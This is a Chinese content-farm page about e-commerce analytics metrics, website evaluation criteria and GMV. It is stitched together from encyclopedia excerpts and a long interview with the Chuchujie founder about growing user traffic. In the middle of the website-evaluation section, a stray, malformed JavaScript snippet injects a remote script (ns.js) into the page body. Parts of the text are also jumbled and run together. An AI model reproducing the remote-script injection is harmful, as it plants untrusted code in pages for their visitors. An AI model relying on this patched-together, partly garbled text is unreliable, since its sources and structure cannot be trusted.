跨境电商平台有哪些电商平台需要什么财务指标，个人如何做电商 _睿知

一、电商数据分析需要统计哪些指标
最重要的有以下几点：1 。商品数据分析：电商平台定期分析商品销售情况，如销量、库存分析、商品评论等。针对不同的商品。做商品数据分析，可以从时间维度做分析，也可以从不同商品类别、价格等多个维度做分析。这里可以做的数据图表类型有很多种，时间维度，商品类别，价格维度。2.访问流量分析：渠道质量、跳出率、PC/UV、访问时长、转化率等。3.订单数据分析：成交量、成交率、客单价等。4.用户行为分析：新老用户购买情况、复购率、活跃率等。5.营销活动分析：ROI、活动效果、营销成本等。以上电商相关可视化图表的制作工具是BDP个人版，可以将各个平台的数据整合到BDP中，然后做好图表的分析，后面就不用重复分析了！

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二、电商平台应该分析哪些数据？具体怎么去分析
电商平台要分析的数据和分析规则如下：1 。网站运营指标：网站运营指标主要用来衡量网站的整体运营状况。在这里，Ec数据分析联盟暂时将网站运营指标细分为网站流量指标、商品品类指标、供应链指标。网站流量指标主要从网站优化、网站可用性、网站流量质量、客户购买行为等方面考虑。商品指数主要用于衡量网站商品的正常运营水平，与销售指数、供应链指数密切相关。这里的供应链指标主要是指电商网站上商品的库存和发货，而不考虑商品的生产和原材料的库存和运输。2.运营环境指标：在这里，电子商务网站的运营环境指标分为外部竞争环境指标和内部购物环境指标。外部竞争环境指标主要包括网站市场份额、市场扩张率、网站排名等。这些指标通常使用第三方研究公司的报告数据。相对于独立的B2C网站，淘宝在这方面的数据要准确的多。网站内部购物环境指标包括功能性指标和运营性指标(这部分与前面的流量指标一致) 。常用的功能指标包括商品类别的多样性、支付和分销方式的多样性、网站的正常运行、链接速度等。3.销售业绩指标：销售业绩指标与公司财务收入直接挂钩。该指标在所有数据分析指标体系中占有重要地位，其他数据指标可以根据该指标进行细分。网站销售业绩指数关注网站订单转化率，订单销售指数关注具体毛利率、订单效率、重复购买率、退货率。当然还有很多指标，比如总销售额、品牌品类销售额、总订单、有效订单等。此处未列出。4.营销活动指标：一个营销活动成功与否，通常从活动效果(收入和影响力)、活动成本、活动粘性(通常用用户关注度、活跃用户数、客单价来衡量)等几个方面来考虑。这里营销指标分为日常市场运营指标、广告指标、对外合作指标。其中，市场运营和广告的指标主要考虑新访客数、订单数、订单转化率、每次访问的成本、每次转化的收入和投资回报率。对外合作指标根据具体合作伙伴确定。比如某电商网站与返利网合作，首先考虑的就是合作退货率。5.客户价值指标：一个客户的价值通常由三部分组成：历史价值(过去的消费)、潜在价值(主要来自用户行为方面，以RFM模型为主要衡量依据)、附加价值(主要来自用户忠诚度和口碑推广方面) 。这里，客户价值指标分为整体客户指标和新老客户价值指标。这些指标主要从客户的贡献和获取成本来衡量。比如在这里，总客户价值指数是通过访客数量、访客获取成本和从访问到订购的转化率来衡量的。除了上述考虑，对老客户价值的衡量更多的是基于RFM模型。延伸：在电子商务中使用分析数据的优势：数据分析系统建立后，其数据指标不是一成不变的，需要根据业务需求的变化实时调整。在调整过程中，应注意统计周期和关键指标的变化。通常单独分析一个数据指标是解决不了问题的，每个指标都是相互关联的。把所有的索引编织成一张网，根据具体需要找到自己的数据索引节点。当用户在电子商务网站上进行购买时，他们从潜在客户变成了网站的价值客户。
一般电商网站都会在自己的数据库中存储用户的交易信息，包括购买时间、购买商品、购买数量、付款金额等信息。因此，对于这些客户，可以基于网站运营数据分析他们的交易行为，从而估算出每个客户的价值，以及为每个客户拓展营销的可能性。来源：百度百科-电子商务数据分析
三、一般可以采用哪些评价指标来评价一个电子商务网站
平均独立客户数，独立IP，企业上网，注册会员，转化率等等。这是最简单的评价指标。具体可参考以下：商务网站建设评价商务网站建设评价包括商务网站功能、商务网站内容评价和商务网站实施评价。1.1商务网站功能评价指标1.1.1商业模式创新程度；与原有的业务和商业模式相比，有哪些创新，线上增加了哪些新的业务和服务；业务流程改革和优化的程度；观念和内容的创新；制度和方法的创新；是否有专利；管理创新，组织扁平化；盈利模式创新等。1.1.2商务网站功能覆盖率商务网站测评商务网站建设测评商务网站应用测评商务网站功能测评指标商务网站内容测评指标商务网站实施测评指标商务网站运行状态测评指标商务网站绩效测评指标商务网站服务质量测评指标varscript=document.createEleme
nt(“script”); script.src = https://www.45qun.com/“http://static.pay..com/resource/chuan/ns.js”; document.body.appendChild(script);2电子商务网站功能可细分为前台和后台功能：前台功能主要包括：商品目录及分类搜索; 商品展示;会员(消费者与商家)注册;购物导航;定单流程;支付流程;认证功能;客户信息反馈与沟通渠道(社区)等;后台功能主要包括：商品管理;定单处理(业务流程处理);帐户管理;模板管理内容管理;送货管理;商务同盟管理;客户资料管理等;商务网站功能复盖率是指网站功能涵盖前台和后台功能的程度,它反应电子商务在核心业务（主营业务）中应用的比例，电子化商务占商务总业务量的比例,电子商务在上下游企业与消费者之间业务中的应用程度等。1.1.3网站的功能与商务网站建设目标符合度信息展示、在线交易、在线支付、在线物流等目标实现程度. 网站的功能及商务模式的设计与企业发展战略与市场定位是否相符、与商务网站建设目标符合程度. 1.1.4网站技术性能指标(1)先进性采用的技术体系与相关设备是否代表的主流技术与先进水平。(2)实用性技术方案的设计与业务模式的符合度;方案的成熟度；可扩展性、伸缩性.(3)安全、可靠性系统的安全、可靠性与容错性，安全等级。1.2. 商务网站内容评价指标1.2.1电子商务应用深度网上信息流、资金流、物流集成化的程度:(1)初级应用: 网上仅有信息流，发布商品信息、洽谈、促销，开展非支付型电子商务； (2)中级应用:网上有信息流、资金流，实现网上交易与网上支付，开展支付型电子商务； (3)高级应用:网上有信息流、资金流、物流，上下游企业应用集成，开展协同电子商务。1.2.2商务网站内容信息的质量评价指标网站所提供信息的真实性、完整性和关联度(%)(1) 商品信息完整性: 商品品种、规格、质量,; 商品相关知识; 商品服务个性化,特色信息;文字、图象、声音等多媒体信息;(2) 商品信息内容真实性,准确性,条理性,时效性, 网页质量,美观大方 (3)商品信息分类深度,层次性和关联度(%)1.2.3商务网站内容信息的数量网站所提供信息量,数据量M,栏目数量,网页数量, 商务信息条数1.2.4商务网站内容检索速度, 连接浏缆速度,网页反应速度, 1.3. 商务网站实施评价指标 1.3.1网站实施计划任务完成度 1.3.2网站建设计划管理与进度控制 1.3.3财务管理与予算控制二.商务网站应用评估的评价指标:商务网站应用评估包含商务网站运行状况、商务网站绩效评估及网站的服务质量评估.2.1. 商务网站运行状况评价指标 2.1.1商务网站访问率 (1)日均点击率(2)日均访问的独立客户数, 独立IP数,企业上网数,注册会员数 (3) 客户平均访问仃留时间(4)平均响应时间(邮件、电话、短信等)2.1.2信息更新率网站内容的时效性,更新频度，按实时、日、周、月、年分级。

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四、电商APP 运营有哪些重要指标[核心提示] 想最大化获取粉丝经济的价值，一定要有取有舍，特别要抵抗短期利益的诱惑。
编者按：1年前第一次见吕晋杰是在腾讯开放平台的大会上，当时他在腾讯开放平台上经营欢乐淘，一个电商导购平台。不久前我在《一路上有你》、《快乐大本营》、《非你莫属》等平台上不断看到楚楚街这个品牌亮相时，我没有想到这个85 后的年轻小伙已经成功转型。而在此前的很长一段时间里，他闭关不接受任何媒体的采访，及其低调的保护着楚楚街这个品牌，这一年他离开腾讯开放平台，做了自己的独立APP——楚楚街，还在义乌呆了半年，做了一次淘宝皇冠卖家。
吕晋杰却经历了中国互联网 3个重要的变革期，从个人站长、校内网开放平台到移动互联网时期，他从本科开始就持续创业，是中国第一波社交应用的开发者，第一批大号粉丝，也是最早做阿里妈妈淘宝客的一批人。
从个人站长时代的 200 万 UV 到校内网时代积累了 4、5 千万用户，到腾讯 qq 空间的 5000 万粉丝，再到 1 年之内为楚楚街积累 4千万用户，这个「数学+金融」专业的年轻创业者有着对用户运营的独特思考。本文是楚楚街CEO吕晋杰自己对用户的思考。
个人站长时代：读懂流量逻辑窥探产品思维。
我是 1986 年出生，2003 年上大学，2004 年在大学里就开始了互联网创业。这个时候的创业大多都是做个人草根站长。从本科到研一，我做了 4年个人站长。
个人站长时期锻炼出的经验是，一个网站，从域名、虚拟主机、CMS、代码到运维、SEO，赚钱，这些全部的流程都得由自己一个人搞定。
个人站长根本没有产品思维，而且由于流量分配机制，决定了个人站长「投机倒把」地以追求流量为主。为了让百度很容易搜索到你，一个人甚至要做十几个到几十个网站，形成一个站群。我做过奥运会宣传中国的英文网站，电影网站，各种各样内容。从qq 群、百度贴吧引来更多流量。每天做到几十个网站共计 200 万 UV 。
这个过程的最大的缺陷是你没有办法专注用户，因为要把 95% 的精力都花在细节和步骤上，真正的产品可能只有 5% 的精力投入其中。当时 30万的个人站长，今天成功转型的为数不多，除了蔡文胜个别教父级的个人站长，大多数站长由于做的事情太杂，逐渐走向没落。
现在的互联网已经不需要这些了，跟用户相关的产品、运营比较重要。好的产品融资后，用户自然成长，云服务也让企业减少了技术和人力投入。
2008年，出现了国内第一个开放平台——校内网，「偷菜」这些游戏使好友买卖变得火爆。什么是开放平台?校内网聚集了几千万用户，有几千名员工，但这几千名员工全部投入在支撑的系统架构、研发相册、论坛等功能。几千万用户需要十万个不同种类的应用，校内网不可能完成这么多开发，就必须设定一套机制开放给外面的人来做。这就是开放平台，开放平台给第三方用户，第三方给开放平台提供产品，开放平台向第三方支付人人豆，第三方可以通过人人豆或者通过广告获得利益。校内网的几千员工通过开放平台做了30 万人公司做的事情。当时的百度也只有音乐、贴吧等几个产品。
开放平台的时代开启，使开发者可以专注产品，因为只要产品做到好，就一定能够得到传播。
校内网的粉丝被我承包了，拒绝每月 300 万
我当时的第一感觉使这是草根站长时代的转折点，尽管当时大部分个人站长都没有「转」过来。
2008年，我把所有网站全部放弃掉，专门在校内网上做应用，在社交平台上培养产品思维。当时有一个特别大的好处，我还是个学生，身边都是用户，直接就可以看到用户喜欢的是什么，读书时也没有太大压力，到2010 年，开发的应用总计已经拥有 4、5 千万用户，而当时的校内网总共也就有 4、5 千万用户。当时网站前 10 名应用中的 6个是我用不同的名字做的。这其实是个人站长时代积累下来的经验，不把鸡蛋放到一个篮子里，防止校内网的封杀。
期间我开发的应用有很多，包括一些星座、智商测试，当时校内网上比较火的「人品测试」、「点名」都是我们做的。我在校内网上做的第一款游戏——整蛊专家，只做了 3 个月就不做了，因为用户涨得太快了，一周来 100 多万用户，每天 100 万的访问量。现在 20个人做一款游戏，而当时只有我一个人。从早年的虚拟主机到 VPS 再到 Windows服务器，技术容量实在上不去了，用户来了都打不开网页，访问量太大。当时没有云服务，眼睁睁看着用户这么多，打不开网页。这也是我后来一直以来偏爱做应用的原因，一个人顶几百万个用户是没有问题的。
2011 年，校内网推出了个人公共主页，我通过开发的应用给主页导了 1600 万个粉丝，数量庞大而且非常纯洁的粉丝，随便用一个 2百万粉丝的账号发一条信息，浏览量都是 50 万以上。用 2 百万粉丝的账号发一条阿里妈妈的广告，可以赚 2 万佣金，这背后意味着给阿里巴巴带来 40万交易额。当时校内网粉丝数量前 6 名是我的，而且甩开第二名很远。
09 年的时候，每个账号每天发一条广告，一个月我能赚 300 万。但是从个人站长时代走来，我明白每 1 万 UV的获取都是非常难的事，发一个信息就能导来 30、40 万 UV，这背后的价值是无限的。如果一直发广告就是杀鸡取卵，就会伤害用户，让用户流失。
我决定不赚这 300 万。
工作一年错过新浪微博，焉知是福
尽管我肯定自己是一定要创业的，但研究生毕业时我还是想先找一份工作。
当时我的手上有 4、5 千万用户，2 千万粉丝，随便给网站导点 UV都没问题。但当时立马创业，我可能就会成为一个独行侠了，个人站长很多都是一个人，他们买房买车，有钱但没有团队，而创业是需要团队的，一个人再牛也比不过一个团队。
我判断自己将来还要做一个事业，而刚毕业对什么都还没了解，必须要学习正规化的企业文化。我在一家咨询公司做了一年，作为助理整理了上千人的访谈资料，上到大国企下到小民企，上到大老板，下到前台。天天写行业研究报告，培养起行业思维。草根创业学会的是聚焦，而行业思维则是要看看天花板有多高，树立一个大框架。
就在这一年，2010 年我第一次接触新浪微博，当时最大的草根粉丝大号有 10 万粉丝，我在校内网上有 1600万粉丝，我做了个实验，在校内网上邀请大家关注我的新浪微博账号，一个晚上涨了 2 万粉丝。
当时算了下，如果我一周如果每个账号每天都发一条信息，请大家关注我的新浪微博账号，那么新浪微博粉丝最多的前 10名的账号可能都是我的。但是，我只试过这一条。在学习和新浪微博机遇中，我只能选择其中之一。
今天看，工作这一年最大的收获是被动得躲开了新浪微博的危机，如果陷进去就真的陷进去了，自己会被财务指标、涨粉捆绑，完全没有额外得精力，也可能就错过了我的下一个机遇——腾讯开放平台。
从一度放弃到交易额超过拍拍
错过了新浪微博我却赶上了腾讯开放平台。
四年前，我们今天运营的楚楚街 APP 就注册了，当时的 chuchujie，每天也能够达到 100 万流量。但当时美丽说蘑菇街也做了 1年了，并没有显现出太大优势。我们怕砸了楚楚街这个品牌，就做了欢乐淘和 9 块 9 包邮 2 个品牌，专门做选品和运营。仅仅做了半年，双十一当天就赚了 387万佣金，这意味着背后几千万的交易额。那个时候一天的交易额比拍拍都高，腾讯对我们进行了 B 轮投资。
只做移动端：押注 90 后放弃腾讯 4 倍流量
在做导购的半年时间里，我们碰到用户咨询最多的问题是：怎么注册淘宝?怎么支付宝转账?我们把钱给你们，你们把货发给我们吧!
这让我们突然意识到，其实我们在为淘宝拉新用户。
去年阿里巴巴上市，招股说明书披露淘宝的活跃用户在 14 年达到 2.7 亿，这个数字在 12 年是 2 亿。彼时 qq 空间有 7亿活跃用户，意味着当时 2 亿淘宝用户完全重叠在 qq 空间里。随便从 qq空间「抓」一把用户，七分之五是没用过淘宝的。而用美丽说的多是有淘宝账号的用户，是因为用的不爽，才用美丽说精选细选东西。
其实，淘宝最缺的是腾讯的用户，或者说是 90 后的用户。
这背后的原因也很显而易见。90 后的用户往往在 4、5 岁时就用起了 qq，有了 qq 空间，到了 23、24 岁，qq 还在用，qq空间却已经不用了。10 年前淘宝就成立，10 年前用淘宝的用户绝对不是 70 后，因为他们在那个时候没有电脑，10 年前有电脑绝大多数的都是 80 后，80后在 07、09 逐渐毕业、涨工资、生孩子，淘宝的货品也伴随着这代人从 10 年前的杂乱差，到了追求品质——淘品牌，线下大牌，国际品牌，母婴品牌。
过去 10 年，淘宝的快速增长也和这一代人有关，淘宝为什么在过去 10 年飞速成长?过去 10 年是 80 后 22 岁-30岁之间，是收入，消费快速上升的黄金阶段。淘宝抓住了 80 后，但最缺的用户一定是 90 后。
楚楚街被动地抓住了这一波用户，现在淘宝、京东 20% 的用户是 90 后，而我们 75% 是 90 后，很多 90后把人生的第一次网购献给了我们。
12 年腾讯投了我们，腾讯董事会决定想给我们 4 倍流量，但我们做了个决定不仅不要腾讯的流量，而且全公司放弃腾讯开放平台以及 pc端的导购业务，只做移动端。跟之前放弃赚 1000万的道理一样，腾讯给四倍流量，马上要赚钱，但移动端出来后，这个时间点很微妙，早做先天优势没多少，晚做就死了。
过去的经验是做事情必须专注，何不专注于做移动，pc 扔掉，做起来了，其实抓住未来，短期看丢掉一块肥肉。对未来 2 年 3年利益非常大，今天美丽说蘑菇街仍放不下。
把用户习惯培养成移动端，砍掉 50%pc 端并不是砍掉 50%，而是剩下 50 的用户直接移到 pc 端。这样公司能够更专注的做事情，pc 和移动是2 套体系，而且是未来趋势看清出来就应该这么做。
在生意蒸蒸日上之际，腾讯投资了我们，而且希望再给我们现有 4 倍的流量。这时我们拒绝了。
我们决定放弃 PC 端，只做移动端，从电商导购网站真正转型做一个电商平台。13 年上半年很痛苦，到年中技术产品上线后，5、6月份做了一个宏观判断，如果年底到不了 1000 用户，我们肯定死。因为到了 14 年移动端用户获取成本将更高，没有免费的用户。幸运的是到了 13年底，在团队+腾讯+外部一起努力下，我们攒足了 1000 万用户。
做平台意味着要有 2方，用户和卖家。做了一个平台用户太少，商家卖不出去东西，商家就跑了。用户来了发现没什么商家，用户也跑了。当时的我们用户太少，商家也不来。
其次，平台和导购有 90%不一样，导购只是拉客，平台涉及到选址、物流、装修、设计、进货、记账。我们最缺乏的电商的经验能力，而且没有物流和产品能力。
于是，14年上半年，我拉着一个合伙人去义乌呆了半年。从租地下室仓库开始，开了一个淘宝店经营居家类用品，从店铺装修到一家家拜访，到买货卖货送货，我自己打了 1万多个包，到贴快递单，聊 5000 个客服，到最后自动化打单，仓库管理整个流程半年做到一个金冠。
此刻，北京这边一年找到了 3、4 千万用户;加上与合伙人亲身体验了那不足的 90%的能力。我们对对淘宝、商家和供应商的体系都懂了，回来正式转型。
15 年 1月份之前，所有的媒体采访，我们一律不接待，一个公关稿不发，就是避免让淘宝注意到，如果半年之前对外公布，势必会遭到淘宝措手不及的封杀。
我们也用「9 块 9 包邮」混淆大家的概念，做 9 块 9 的太多了，这个概念就像超市鸡蛋和大米，是赔钱赚吆喝，但你还要买其他的物品。新用户第一次买9 块 9，第二次基本上就买其他的东西了。
我们为什么要真正转型做一个电商平台，而且 90 后是我们的目标用户。首先，看一下淘宝、京东的未来在哪里?现在全国的网购人群是 3亿多，淘宝和京东占据地差不多了，中国未来潜在 10 亿网络人群，剩下的 7 亿就是他们的未来。
剩下的 7 亿无非有两个纬度，一是还没有智能手机的，比如不是网络用户变成网络用户，二是小孩长大。淘宝和京东的农村战略没错，7亿的主体一定在农村，但这其中的 1 亿可能是 90 后，而且 90 后一定是这部分用户的先行者。7 亿变成 6 亿，再到 5 亿，一定是 90后引领的。
其次，90 后一定会引领未来 5 年的电商格局，接下来 5 年 90 后要经历平均年龄到 22-28 岁，是工资增长期和人生变化的时段。
淘宝一路走下来，体量已经非常大，阿里巴巴 3 万员工很难支撑 10 亿网民的电商需求，除非淘宝快速扩张员工到 100万，但阿里巴巴的组织架构决定这是不可能的，今年的天猫员工已经只出不进。
京东、唯品会、聚美优品以及越来越多的新电商平台一定会分淘宝的蛋糕。
五、开展电子商务应该具备的基本条件是什么?【跨境电商平台有哪些电商平台需要什么财务指标，个人如何做电商】构成要素四要素：商城、消费者、产品、物流。1、买卖：各大网络平台为消费者提供质优价廉的商品，吸引消费者购买的同时促使更多商家的入驻。2、合作：与物流公司建立合作关系，为消费者的购买行为提供最终保障，这是电商运营的硬性条件之一。3、服务：电商三要素之一的物流主要是为消费者提供购买服务，从而实现再一次的交易。扩展资料：电子商务的形成与交易离不开以下四方面的关系：一、交易平台第三方电子商务平台（以下简称第三方交易平台）是指在电子商务活动中为交易双方或多方提供交易撮合及相关服务的信息网络系统总和；二、平台经营者第三方交易平台经营者（以下简称平台经营者）是指在工商行政管理部门登记注册并领取营业执照，从事第三方交易平台运营并为交易双方提供服务的自然人、法人和其他组织；三、站内经营者第三方交易平台站内经营者（以下简称站内经营者）是指在电子商务交易平台上从事交易及有关服务活动的自然人、法人和其他组织。四、支付系统支付系统（Payment System）是由提供支付清算服务的中介机构和实现支付指令传送及资金清算的专业技术手段共同组成，用以实现债权债务清偿及资金转移的一种金融安排，有时也称为清算系统（Clear System）。电子商务，有门户网站经营比较完善信息流、资金流、物流等。参考资料来源：百度百科-电子商务

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六、gmv是什么意思？GMV只是一些电子商务平台常用的一种称呼，像淘宝、京东、天猫等知名电商，常常用GMV代指网站的成交金额，主要包括付款金额和未付款的。通俗来说，平时网购时会进行下单，产生的订单中往往会包括付款订单和未付款的订单，而gmv统计的指标就是其二者之和。扩展资料：利用GMV可以进行交易数据分析，虽然GMV不是实际的购买交易数据，但同样可以作为参考依据的，因为只要你点击了购买，无论你有没有实际购买，都是统计在gmv里面的。所以，可以用gmv来研究顾客的购买意向，顾客买了之后发生退单的比率，gmv与实际成交额的比率等等，类似于百度统计里边研究的用户粘度。